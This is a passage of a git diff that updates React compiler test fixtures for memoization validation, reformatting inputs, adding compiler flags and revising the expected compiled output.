+      entity: {name: 'Sathya'},
       children: [<div key="gsathya">Hi Sathya!</div>],
     },
   ],
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-nonescaping.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-nonescaping.expect.md
index 3b6c75d7e781..bc9d4341e3ab 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-nonescaping.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-nonescaping.expect.md
@@ -3,9 +3,9 @@
 
 ```javascript
 // @validatePreserveExistingMemoizationGuarantees @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions
-import { useCallback } from "react";
+import {useCallback} from 'react';
 
-function Component({ entity, children }) {
+function Component({entity, children}) {
   // showMessage doesn't escape so we don't memoize it.
   // However, validatePreserveExistingMemoizationGuarantees only sees that the scope
   // doesn't exist, and thinks the memoization was missed instead of being intentionally dropped.
@@ -22,7 +22,7 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [
     {
-      entity: { name: "Sathya" },
+      entity: {name: 'Sathya'},
       children: [<div key="gsathya">Hi Sathya!</div>],
     },
   ],
@@ -41,6 +41,7 @@ function Component(t0) {
   const { entity, children } = t0;
 
   const showMessage = () => entity != null;
+
   if (!showMessage()) {
     return children;
   }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-nonescaping.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-nonescaping.js
index 9d9c9290ac4c..8d5870f9c5f1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-nonescaping.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-nonescaping.js
@@ -1,7 +1,7 @@
 // @validatePreserveExistingMemoizationGuarantees @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions
-import { useCallback } from "react";
+import {useCallback} from 'react';
 
-function Component({ entity, children }) {
+function Component({entity, children}) {
   // showMessage doesn't escape so we don't memoize it.
   // However, validatePreserveExistingMemoizationGuarantees only sees that the scope
   // doesn't exist, and thinks the memoization was missed instead of being intentionally dropped.
@@ -18,7 +18,7 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [
     {
-      entity: { name: "Sathya" },
+      entity: {name: 'Sathya'},
       children: [<div key="gsathya">Hi Sathya!</div>],
     },
   ],
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-reordering-deplist-controlflow.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-reordering-deplist-controlflow.expect.md
index f47b6089ebcf..1a86ddc7c158 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-reordering-deplist-controlflow.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-reordering-deplist-controlflow.expect.md
@@ -2,16 +2,17 @@
 ## Input
 
 ```javascript
-import { useCallback } from "react";
-import { Stringify } from "shared-runtime";
+// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import {useCallback} from 'react';
+import {Stringify} from 'shared-runtime';
 
-function Foo({ arr1, arr2, foo }) {
+function Foo({arr1, arr2, foo}) {
   const x = [arr1];
 
   let y = [];
 
   const getVal1 = useCallback(() => {
-    return { x: 2 };
+    return {x: 2};
   }, []);
 
   const getVal2 = useCallback(() => {
@@ -23,10 +24,10 @@ function Foo({ arr1, arr2, foo }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Foo,
-  params: [{ arr1: [1, 2], arr2: [3, 4], foo: true }],
+  params: [{arr1: [1, 2], arr2: [3, 4], foo: true}],
   sequentialRenders: [
-    { arr1: [1, 2], arr2: [3, 4], foo: true },
-    { arr1: [1, 2], arr2: [3, 4], foo: false },
+    {arr1: [1, 2], arr2: [3, 4], foo: true},
+    {arr1: [1, 2], arr2: [3, 4], foo: false},
   ],
 };
 
@@ -35,12 +36,12 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime";
+import { c as _c } from "react/compiler-runtime"; // @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
 import { useCallback } from "react";
 import { Stringify } from "shared-runtime";
 
 function Foo(t0) {
-  const $ = _c(11);
+  const $ = _c(10);
   const { arr1, arr2, foo } = t0;
   let t1;
   if ($[0] !== arr1) {
@@ -51,43 +52,37 @@ function Foo(t0) {
     t1 = $[1];
   }
   const x = t1;
-  let t2;
   let getVal1;
-  if ($[2] !== foo || $[3] !== x || $[4] !== arr2) {
-    let y;
-    y = [];
-    let t3;
-    if ($[7] === Symbol.for("react.memo_cache_sentinel")) {
-      t3 = () => ({ x: 2 });
-      $[7] = t3;
-    } else {
-      t3 = $[7];
-    }
-    getVal1 = t3;
-
+  let t2;
+  if ($[2] !== arr2 || $[3] !== foo || $[4] !== x) {
+    let y = [];
+    getVal1 = _temp;
     t2 = () => [y];
     foo ? (y = x.concat(arr2)) : y;
-    $[2] = foo;
-    $[3] = x;
-    $[4] = arr2;
-    $[5] = t2;
-    $[6] = getVal1;
+    $[2] = arr2;
+    $[3] = foo;
+    $[4] = x;
+    $[5] = getVal1;
+    $[6] = t2;
   } else {
-    t2 = $[5];
-    getVal1 = $[6];
+    getVal1 = $[5];
+    t2 = $[6];
   }
   const getVal2 = t2;
   let t3;
-  if ($[8] !== getVal1 || $[9] !== getVal2) {
+  if ($[7] !== getVal1 || $[8] !== getVal2) {
     t3 = <Stringify val1={getVal1} val2={getVal2} shouldInvokeFns={true} />;
-    $[8] = getVal1;
-    $[9] = getVal2;
-    $[10] = t3;
+    $[7] = getVal1;
+    $[8] = getVal2;
+    $[9] = t3;
   } else {
-    t3 = $[10];
+    t3 = $[9];
   }
   return t3;
 }
+function _temp() {
+  return { x: 2 };
+}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Foo,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-reordering-deplist-controlflow.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-reordering-deplist-controlflow.tsx
index 105faa67b783..9831fcfdec99 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-reordering-deplist-controlflow.tsx
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-reordering-deplist-controlflow.tsx
@@ -1,13 +1,14 @@
-import { useCallback } from "react";
-import { Stringify } from "shared-runtime";
+// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import {useCallback} from 'react';
+import {Stringify} from 'shared-runtime';
 
-function Foo({ arr1, arr2, foo }) {
+function Foo({arr1, arr2, foo}) {
   const x = [arr1];
 
   let y = [];
 
   const getVal1 = useCallback(() => {
-    return { x: 2 };
+    return {x: 2};
   }, []);
 
   const getVal2 = useCallback(() => {
@@ -19,9 +20,9 @@ function Foo({ arr1, arr2, foo }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Foo,
-  params: [{ arr1: [1, 2], arr2: [3, 4], foo: true }],
+  params: [{arr1: [1, 2], arr2: [3, 4], foo: true}],
   sequentialRenders: [
-    { arr1: [1, 2], arr2: [3, 4], foo: true },
-    { arr1: [1, 2], arr2: [3, 4], foo: false },
+    {arr1: [1, 2], arr2: [3, 4], foo: true},
+    {arr1: [1, 2], arr2: [3, 4], foo: false},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-reordering-depslist-assignment.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-reordering-depslist-assignment.expect.md
index a11b5f709e28..78a7b36eba69 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-reordering-depslist-assignment.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-reordering-depslist-assignment.expect.md
@@ -2,8 +2,9 @@
 ## Input
 
 ```javascript
-import { useCallback } from "react";
-import { Stringify } from "shared-runtime";
+// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import {useCallback} from 'react';
+import {Stringify} from 'shared-runtime';
 
 // We currently produce invalid output (incorrect scoping for `y` declaration)
 function useFoo(arr1, arr2) {
@@ -11,7 +12,7 @@ function useFoo(arr1, arr2) {
 
   let y;
   const getVal = useCallback(() => {
-    return { y };
+    return {y};
   }, [((y = x.concat(arr2)), y)]);
 
   return <Stringify getVal={getVal} shouldInvokeFns={true} />;
@@ -30,7 +31,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime";
+import { c as _c } from "react/compiler-runtime"; // @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
 import { useCallback } from "react";
 import { Stringify } from "shared-runtime";
 
@@ -47,13 +48,12 @@ function useFoo(arr1, arr2) {
   }
   const x = t0;
   let t1;
-  if ($[2] !== x || $[3] !== arr2) {
+  if ($[2] !== arr2 || $[3] !== x) {
     let y;
     t1 = () => ({ y });
-
     (y = x.concat(arr2)), y;
-    $[2] = x;
-    $[3] = arr2;
+    $[2] = arr2;
+    $[3] = x;
     $[4] = t1;
   } else {
     t1 = $[4];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-reordering-depslist-assignment.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-reordering-depslist-assignment.tsx
index 192fe4f4bbbd..170593c486a6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-reordering-depslist-assignment.tsx
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-reordering-depslist-assignment.tsx
@@ -1,5 +1,6 @@
-import { useCallback } from "react";
-import { Stringify } from "shared-runtime";
+// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import {useCallback} from 'react';
+import {Stringify} from 'shared-runtime';
 
 // We currently produce invalid output (incorrect scoping for `y` declaration)
 function useFoo(arr1, arr2) {
@@ -7,7 +8,7 @@ function useFoo(arr1, arr2) {
 
   let y;
   const getVal = useCallback(() => {
-    return { y };
+    return {y};
   }, [((y = x.concat(arr2)), y)]);
 
   return <Stringify getVal={getVal} shouldInvokeFns={true} />;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-with-no-depslist.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-with-no-depslist.expect.md
index 15952d1d5b2b..81d7a48aa750 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-with-no-depslist.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-with-no-depslist.expect.md
@@ -2,12 +2,12 @@
 ## Input
 
 ```javascript
-// @validatePreserveExistingMemoizationGuarantees
-import { useCallback } from "react";
+// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
+import {useCallback} from 'react';
 
 // Compiler can produce any memoization it finds valid if the
 // source listed no memo deps
-function Component({ propA }) {
+function Component({propA}) {
   // @ts-ignore
   return useCallback(() => {
     return [propA];
@@ -16,7 +16,7 @@ function Component({ propA }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ propA: 2 }],
+  params: [{propA: 2}],
 };
 
 ```
@@ -24,7 +24,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees
+import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
 import { useCallback } from "react";
 
 // Compiler can produce any memoization it finds valid if the
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-with-no-depslist.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-with-no-depslist.ts
index 620a057a8427..5cabcdf7676d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-with-no-depslist.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useCallback-with-no-depslist.ts
@@ -1,9 +1,9 @@
-// @validatePreserveExistingMemoizationGuarantees
-import { useCallback } from "react";
+// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
+import {useCallback} from 'react';
 
 // Compiler can produce any memoization it finds valid if the
 // source listed no memo deps
-function Component({ propA }) {
+function Component({propA}) {
   // @ts-ignore
   return useCallback(() => {
     return [propA];
@@ -12,5 +12,5 @@ function Component({ propA }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ propA: 2 }],
+  params: [{propA: 2}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-alias-property-load-dep.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-alias-property-load-dep.expect.md
index 04b99c62020f..80e410630348 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-alias-property-load-dep.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-alias-property-load-dep.expect.md
@@ -3,10 +3,10 @@
 
 ```javascript
 // @validatePreserveExistingMemoizationGuarantees
-import { useMemo } from "react";
-import { sum } from "shared-runtime";
+import {useMemo} from 'react';
+import {sum} from 'shared-runtime';
 
-function Component({ propA, propB }) {
+function Component({propA, propB}) {
   const x = propB.x.y;
   return useMemo(() => {
     return sum(propA.x, x);
@@ -15,7 +15,7 @@ function Component({ propA, propB }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ propA: { x: 2 }, propB: { x: { y: 3 } } }],
+  params: [{propA: {x: 2}, propB: {x: {y: 3}}}],
 };
 
 ```
@@ -32,16 +32,14 @@ function Component(t0) {
   const { propA, propB } = t0;
   const x = propB.x.y;
   let t1;
-  let t2;
   if ($[0] !== propA.x || $[1] !== x) {
-    t2 = sum(propA.x, x);
+    t1 = sum(propA.x, x);
     $[0] = propA.x;
     $[1] = x;
-    $[2] = t2;
+    $[2] = t1;
   } else {
-    t2 = $[2];
+    t1 = $[2];
   }
-  t1 = t2;
   return t1;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-alias-property-load-dep.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-alias-property-load-dep.ts
index bcbec5f3d61c..ad4ef05e408d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-alias-property-load-dep.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-alias-property-load-dep.ts
@@ -1,8 +1,8 @@
 // @validatePreserveExistingMemoizationGuarantees
-import { useMemo } from "react";
-import { sum } from "shared-runtime";
+import {useMemo} from 'react';
+import {sum} from 'shared-runtime';
 
-function Component({ propA, propB }) {
+function Component({propA, propB}) {
   const x = propB.x.y;
   return useMemo(() => {
     return sum(propA.x, x);
@@ -11,5 +11,5 @@ function Component({ propA, propB }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ propA: { x: 2 }, propB: { x: { y: 3 } } }],
+  params: [{propA: {x: 2}, propB: {x: {y: 3}}}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-conditional-access-alloc.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-conditional-access-alloc.expect.md
index 67ac7ebe0709..697234a02976 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-conditional-access-alloc.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-conditional-access-alloc.expect.md
@@ -3,10 +3,10 @@
 
 ```javascript
 // @validatePreserveExistingMemoizationGuarantees
-import { useMemo } from "react";
-import { identity } from "shared-runtime";
+import {useMemo} from 'react';
+import {identity} from 'shared-runtime';
 
-function Component({ propA, propB }) {
+function Component({propA, propB}) {
   return useMemo(() => {
     return {
       value: identity(propB?.x.y),
@@ -17,7 +17,7 @@ function Component({ propA, propB }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ propA: 2, propB: { x: { y: [] } } }],
+  params: [{propA: 2, propB: {x: {y: []}}}],
 };
 
 ```
@@ -32,28 +32,26 @@ import { identity } from "shared-runtime";
 function Component(t0) {
   const $ = _c(5);
   const { propA, propB } = t0;
-  let t1;
 
-  const t2 = propB?.x.y;
-  let t3;
-  if ($[0] !== t2) {
-    t3 = identity(t2);
-    $[0] = t2;
-    $[1] = t3;
+  const t1 = propB?.x.y;
+  let t2;
+  if ($[0] !== t1) {
+    t2 = identity(t1);
+    $[0] = t1;
+    $[1] = t2;
   } else {
-    t3 = $[1];
+    t2 = $[1];
   }
-  let t4;
-  if ($[2] !== t3 || $[3] !== propA) {
-    t4 = { value: t3, other: propA };
-    $[2] = t3;
-    $[3] = propA;
-    $[4] = t4;
+  let t3;
+  if ($[2] !== propA || $[3] !== t2) {
+    t3 = { value: t2, other: propA };
+    $[2] = propA;
+    $[3] = t2;
+    $[4] = t3;
   } else {
-    t4 = $[4];
+    t3 = $[4];
   }
-  t1 = t4;
-  return t1;
+  return t3;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-conditional-access-alloc.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-conditional-access-alloc.ts
index f1e5ec2e9a83..9727b0931906 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-conditional-access-alloc.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-conditional-access-alloc.ts
@@ -1,8 +1,8 @@
 // @validatePreserveExistingMemoizationGuarantees
-import { useMemo } from "react";
-import { identity } from "shared-runtime";
+import {useMemo} from 'react';
+import {identity} from 'shared-runtime';
 
-function Component({ propA, propB }) {
+function Component({propA, propB}) {
   return useMemo(() => {
     return {
       value: identity(propB?.x.y),
@@ -13,5 +13,5 @@ function Component({ propA, propB }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ propA: 2, propB: { x: { y: [] } } }],
+  params: [{propA: 2, propB: {x: {y: []}}}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-conditional-access-noAlloc.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-conditional-access-noAlloc.expect.md
index 3a9e9be4130a..3a279219dad7 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-conditional-access-noAlloc.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-conditional-access-noAlloc.expect.md
@@ -3,9 +3,9 @@
 
 ```javascript
 // @validatePreserveExistingMemoizationGuarantees
-import { useMemo } from "react";
+import {useMemo} from 'react';
 
-function Component({ propA, propB }) {
+function Component({propA, propB}) {
   return useMemo(() => {
     return {
       value: propB?.x.y,
@@ -16,7 +16,7 @@ function Component({ propA, propB }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ propA: 2, propB: { x: { y: [] } } }],
+  params: [{propA: 2, propB: {x: {y: []}}}],
 };
 
 ```
@@ -30,20 +30,18 @@ import { useMemo } from "react";
 function Component(t0) {
   const $ = _c(3);
   const { propA, propB } = t0;
-  let t1;
-
-  const t2 = propB?.x.y;
-  let t3;
-  if ($[0] !== t2 || $[1] !== propA) {
-    t3 = { value: t2, other: propA };
-    $[0] = t2;
-    $[1] = propA;
-    $[2] = t3;
+
+  const t1 = propB?.x.y;
+  let t2;
+  if ($[0] !== propA || $[1] !== t1) {
+    t2 = { value: t1, other: propA };
+    $[0] = propA;
+    $[1] = t1;
+    $[2] = t2;
   } else {
-    t3 = $[2];
+    t2 = $[2];
   }
-  t1 = t3;
-  return t1;
+  return t2;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-conditional-access-noAlloc.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-conditional-access-noAlloc.ts
index 37c39171c409..767c330df275 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-conditional-access-noAlloc.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-conditional-access-noAlloc.ts
@@ -1,7 +1,7 @@
 // @validatePreserveExistingMemoizationGuarantees
-import { useMemo } from "react";
+import {useMemo} from 'react';
 
-function Component({ propA, propB }) {
+function Component({propA, propB}) {
   return useMemo(() => {
     return {
       value: propB?.x.y,
@@ -12,5 +12,5 @@ function Component({ propA, propB }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ propA: 2, propB: { x: { y: [] } } }],
+  params: [{propA: 2, propB: {x: {y: []}}}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-conditional-access-own-scope.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-conditional-access-own-scope.expect.md
index ba759266dc01..e4b16ce9e83f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-conditional-access-own-scope.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-conditional-access-own-scope.expect.md
@@ -3,9 +3,9 @@
 
 ```javascript
 // @validatePreserveExistingMemoizationGuarantees
-import { useMemo } from "react";
+import {useMemo} from 'react';
 
-function Component({ propA, propB }) {
+function Component({propA, propB}) {
   return useMemo(() => {
     if (propA) {
       return {
@@ -17,7 +17,7 @@ function Component({ propA, propB }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ propA: 1, propB: { x: { y: [] } } }],
+  params: [{propA: 1, propB: {x: {y: []}}}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-conditional-access-own-scope.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-conditional-access-own-scope.ts
index 390f9fde4261..1e8cb6a85507 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-conditional-access-own-scope.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-conditional-access-own-scope.ts
@@ -1,7 +1,7 @@
 // @validatePreserveExistingMemoizationGuarantees
-import { useMemo } from "react";
+import {useMemo} from 'react';
 
-function Component({ propA, propB }) {
+function Component({propA, propB}) {
   return useMemo(() => {
     if (propA) {
       return {
@@ -13,5 +13,5 @@ function Component({ propA, propB }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ propA: 1, propB: { x: { y: [] } } }],
+  params: [{propA: 1, propB: {x: {y: []}}}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-constant-prop.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-constant-prop.expect.md
index 9a6bd99a49dd..918fb3d65688 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-constant-prop.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-constant-prop.expect.md
@@ -3,19 +3,19 @@
 
 ```javascript
 // @validatePreserveExistingMemoizationGuarantees
-import { useMemo } from "react";
-import { identity } from "shared-runtime";
+import {useMemo} from 'react';
+import {identity} from 'shared-runtime';
 
 function useFoo(cond) {
   const sourceDep = 0;
   const derived1 = useMemo(() => {
     return identity(sourceDep);
   }, [sourceDep]);
-  const derived2 = cond ?? Math.min(sourceDep, 1) ? 1 : 2;
+  const derived2 = (cond ?? Math.min(sourceDep, 1)) ? 1 : 2;
   const derived3 = useMemo(() => {
     return identity(sourceDep);
   }, [sourceDep]);
-  const derived4 = Math.min(sourceDep, -1) ?? cond ? 1 : 2;
+  const derived4 = (Math.min(sourceDep, -1) ?? cond) ? 1 : 2;
   return [derived1, derived2, derived3, derived4];
 }
 
@@ -37,39 +37,35 @@ function useFoo(cond) {
   const $ = _c(5);
   const sourceDep = 0;
   let t0;
-  let t1;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t1 = identity(0);
-    $[0] = t1;
+    t0 = identity(0);
+    $[0] = t0;
   } else {
-    t1 = $[0];
+    t0 = $[0];
   }
-  t0 = t1;
   const derived1 = t0;
 
-  const derived2 = cond ?? Math.min(0, 1) ? 1 : 2;
-  let t2;
-  let t3;
+  const derived2 = (cond ?? Math.min(0, 1)) ? 1 : 2;
+  let t1;
   if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
-    t3 = identity(0);
-    $[1] = t3;
+    t1 = identity(0);
+    $[1] = t1;
   } else {
-    t3 = $[1];
+    t1 = $[1];
   }
-  t2 = t3;
-  const derived3 = t2;
+  const derived3 = t1;
 
-  const derived4 = Math.min(0, -1) ?? cond ? 1 : 2;
-  let t4;
+  const derived4 = (Math.min(0, -1) ?? cond) ? 1 : 2;
+  let t2;
   if ($[2] !== derived2 || $[3] !== derived4) {
-    t4 = [derived1, derived2, derived3, derived4];
+    t2 = [derived1, derived2, derived3, derived4];
     $[2] = derived2;
     $[3] = derived4;
-    $[4] = t4;
+    $[4] = t2;
   } else {
-    t4 = $[4];
+    t2 = $[4];
   }
-  return t4;
+  return t2;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-constant-prop.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-constant-prop.ts
index 880e90e4b6da..7415713419d3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-constant-prop.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-constant-prop.ts
@@ -1,17 +1,17 @@
 // @validatePreserveExistingMemoizationGuarantees
-import { useMemo } from "react";
-import { identity } from "shared-runtime";
+import {useMemo} from 'react';
+import {identity} from 'shared-runtime';
 
 function useFoo(cond) {
   const sourceDep = 0;
   const derived1 = useMemo(() => {
     return identity(sourceDep);
   }, [sourceDep]);
-  const derived2 = cond ?? Math.min(sourceDep, 1) ? 1 : 2;
+  const derived2 = (cond ?? Math.min(sourceDep, 1)) ? 1 : 2;
   const derived3 = useMemo(() => {
     return identity(sourceDep);
   }, [sourceDep]);
-  const derived4 = Math.min(sourceDep, -1) ?? cond ? 1 : 2;
+  const derived4 = (Math.min(sourceDep, -1) ?? cond) ? 1 : 2;
   return [derived1, derived2, derived3, derived4];
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-dep-array-literal-access.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-dep-array-literal-access.expect.md
new file mode 100644
index 000000000000..d20b74d04b60
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-dep-array-literal-access.expect.md
@@ -0,0 +1,69 @@
+
